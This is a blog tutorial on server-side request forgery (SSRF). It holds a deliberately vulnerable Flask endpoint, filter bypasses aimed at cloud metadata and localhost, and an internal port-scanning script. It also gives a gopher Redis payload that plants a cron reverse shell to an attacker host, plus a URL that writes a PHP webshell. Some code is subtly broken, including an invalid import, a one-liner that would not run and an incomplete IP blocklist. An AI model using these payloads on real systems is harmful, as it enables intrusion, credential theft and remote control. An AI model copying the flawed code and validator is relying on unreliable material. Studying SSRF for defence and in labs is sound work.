SSRF for Breakfast: How We Made an Internal Server Dance to Our Tune
You know that feeling when you find a feature that fetches images, documents, or webhooks from a URL you provide? Our first thought isn’t “oh neat” anymore. It’s “let us see what you really have access to.”
That’s SSRF in a nutshell. Server Side Request Forgery happens when a server trusts your URL input enough to make its own HTTP requests. And suddenly, you’re not just a regular user anymore. You’re giving orders to the server’s network card.
Let us show you what this looks like in the wild, complete with code you can test safely.
The Basic Idea
Imagine a web application that lets you set a profile picture from a URL:
POST /api/avatar HTTP/1.1
Host: coolapp.com
{
"avatar_url": "https://images.example.com/photo.jpg"
}
The server downloads that image and stores it. Innocent, right?
But what if you give it this instead:
{
"avatar_url": "http://169.254.169.254/latest/meta-data/"
}
That IP? That’s the AWS metadata endpoint. Only accessible from inside the cloud network. And your server is sitting right there, inside that network, happily fetching whatever you ask for.
Now you’ve got access keys, instance info, maybe even IAM credentials. All because the server didn’t ask “should I really be fetching this?”
Types of SSRF You’ll Actually Find
Basic SSRF - You see the response. The application prints the fetched data back to you. Easy mode.
Blind SSRF - The application fetches but doesn’t show you the result. You only know it worked by side effects (timing, errors, DNS logs).
Partial SSRF - You control only part of the URL, like a domain but not the path. Still dangerous. Still exploitable.
Let’s Break Something (Legally)
We set up a test lab with three containers:
- Public web application (port 80)
- Internal API (port 5000, no external access)
- Redis server (port 6379, internal only)
The web application has an endpoint: GET /fetch?url=https://public.site/data
Here’s the vulnerable code (Python Flask, because we see this everywhere):
from flask import Flask, request, requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
target = request.args.get('url')
if not target:
return "Missing url parameter", 400
# Look ma, no validation!
response = requests.get(target)
return response.text
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Looks fine until you realise requests.get(“http://internal-api:5000/admin”) works just fine from inside that container.
Finding SSRF Like a Pro
First, map the attack surface. Look for any feature that takes a URL and does something with it:
- Profile picture from URL
- Webhook endpoints
- RSS feed importers
- PDF generators that fetch HTML
- Image proxies (these are gold mines)
- Document previewers (Office file converters)
- API testing tools built into the application
Test each one with this simple checklist:
http://example.com (normal - should work)
http://127.0.0.1:22 (check for SSH banner in response)
http://localhost:8080 (common admin ports)
http://169.254.169.254 (cloud metadata)
file:///etc/passwd (if protocol handlers are enabled)
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflus[...] (Redis attacks)
The Sneaky Bypasses That Still Work
Sometimes devs block 127.0.0.1 and localhost. Cute. Try these:
http://0.0.0.0
http://localhost:[email protected]
http://2130706433 (decimal for 127.0.0.1)
http://0x7f000001 (hex)
http://127.0.0.1.nip.io (resolves to 127.0.0.1)
http://localhost. (trailing dot bypasses some regex)
http://[::1] (IPv6 localhost)
http://127.127.127.127 (redirects to 127.0.0.1 on some networks)
URL parsers are notoriously broken. Try adding @ symbols, username:password formats, even weird encodings like %68%74%74%70 (URL-encoded “http”).
Real Exploitation: Metadata is Just the Start
Cloud metadata is the classic, but let’s go deeper. Here’s a script that maps internal network from an SSRF:
import requests
import time
target_url = "http://vulnerable-app.com/fetch?url="
internal_ips = [
"10.0.0.1", "10.0.0.2", "172.16.0.1", "192.168.1.1",
"169.254.169.254" # AWS metadata
]
common_ports = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9200]
def probe_ssrf(base, ip, port):
test_url = f"http://{ip}:{port}"
full_url = base + test_url
try:
start = time.time()
r = requests.get(full_url, timeout=3)
elapsed = time.time() - start
if r.status_code < 500:
print(f"[OPEN] {ip}:{port} - {r.status_code} ({elapsed:.2f}s)")
if "SSH" in r.text:
print(f" └─ SSH banner captured")
return True
elif elapsed > 1.5:
print(f"[SLOW] {ip}:{port} - possible timeout filter")
except:
pass
return False
for ip in internal_ips:
for port in common_ports:
probe_ssrf(target_url, ip, port)
Run this and watch the internal network reveal itself. We’ve found Jenkins servers, Redis instances, and once a whole Kubernetes API this way.
The Blind SSRF Trick That Never Fails
No response visible? No problem. Make the server hit your own box:
# Setup a simple listener
nc -lvnp 8080
# Trigger SSRF
curl "http://vulnerable.com/fetch?url=http://your-server.com:8080/test"
If nc shows a connection, you have blind SSRF. Now you can:
- Port scan by watching connection attempts to different ports
- Time attacks - port open? Connection happens faster
- Trigger internal endpoints even if you don’t see the output
Here’s a bash one-liner to detect open ports blindly:
for port in 22 80 443 3000 6379 8080; do
echo "Testing $port"
time curl -s "http://target.com/fetch?url=http://10.0.1.5:$port" -o /dev/null
done
Compare response times. Port 80 responds fast. Port 81 times out. That’s your map.
Escalating SSRF to RCE (The Fun Part)
SSRF alone is dangerous. SSRF + internal service = game over. Let us show you two paths.
Path 1: Redis
Internal Redis often has no auth. Send raw Redis commands via SSRF using the gopher:// protocol:
import urllib.parse
# Redis command: flushall, then set a cron job
payload = """*1
$8
flushall
*3
$3
set
$1
1
$58
\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'\n\n
*4
$6
config
$3
set
$10
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
"""
# URL encode for gopher
gopher_payload = "gopher://localhost:6379/_" + urllib.parse.quote(payload)
# Trigger via SSRF
requests.get(f"http://target.com/fetch?url={gopher_payload}")
This writes a cron job. A minute later, reverse shell. We’ve done this in real pentests.
Path 2: Internal API with File Write
Found an internal endpoint like http://internal-api/export?format=pdf&content=…? Try path traversal:
http://target.com/fetch?url=http://internal-api/export?format=html&content=%3C%3Fphp%20system(%24_GET%5Bcmd%5D)%3B%20%3F%3E&output=/var/www/html/shell.php
If the API writes files, you just deployed a webshell.
Defenses (Because We’re Not Monsters)
If you’re building applications, stop SSRF with:
- Allowlist, not denylist - Specify exact domains allowed
- Disable redirects -
requests.get(url, allow_redirects=False) - Use a URL parser to rebuild the URL and reject weird protocols
- Bind to localhost-only for internal services with auth required
- Network segmentation - application servers shouldn’t reach metadata endpoints
Here’s a safe URL validator:
from urllib.parse import urlparse
def safe_fetch(user_url):
parsed = urlparse(user_url)
# Only allow http/https
if parsed.scheme not in ['http', 'https']:
return "Invalid protocol"
# Block internal IPs
host = parsed.hostname
blocked = ['127.0.0.1', 'localhost', '169.254.169.254']
if host in blocked or host.endswith('.internal'):
return "Blocked"
# Resolve DNS and check again (prevent DNS rebinding)
import socket
ip = socket.gethostbyname(host)
if ip.startswith(('10.', '172.16.', '192.168.', '127.')):
return "Blocked IP range"
# Now safe to fetch
return requests.get(user_url, timeout=5).text
Your Turn
Set up the vulnerable lab we mentioned. Docker compose makes it easy:
version: '3'
services:
web:
image: python:3-alpine
command: python -c "from flask import Flask,request; import requests; app=Flask(__name__); @app.route('/fetch') def f(): return requests.get(request.args.get('url')).text; app.run(host='0.0.0.0')"
ports:
- "8080:5000"
internal-api:
image: nginx:alpine
command: sh -c "echo 'SECRET_KEY=supersecret' > /usr/share/nginx/html/admin && nginx -g 'daemon off;'"
# Run: docker-compose up
Then visit http://localhost:8080/fetch?url=http://internal-api/admin and watch the secret leak.
What’s Next
Try PortSwigger’s SSRF labs - they’re free and actually challenging. Then move to HackerOne’s SSRF reports to see real bounties ($10k+ sometimes).
Next time we’ll cover SSRF via PDF generators and how to turn a document previewer into an internal network scanner. That one gets nasty.
Until then, stop trusting URLs.
Note: This post was written with a help from AI :)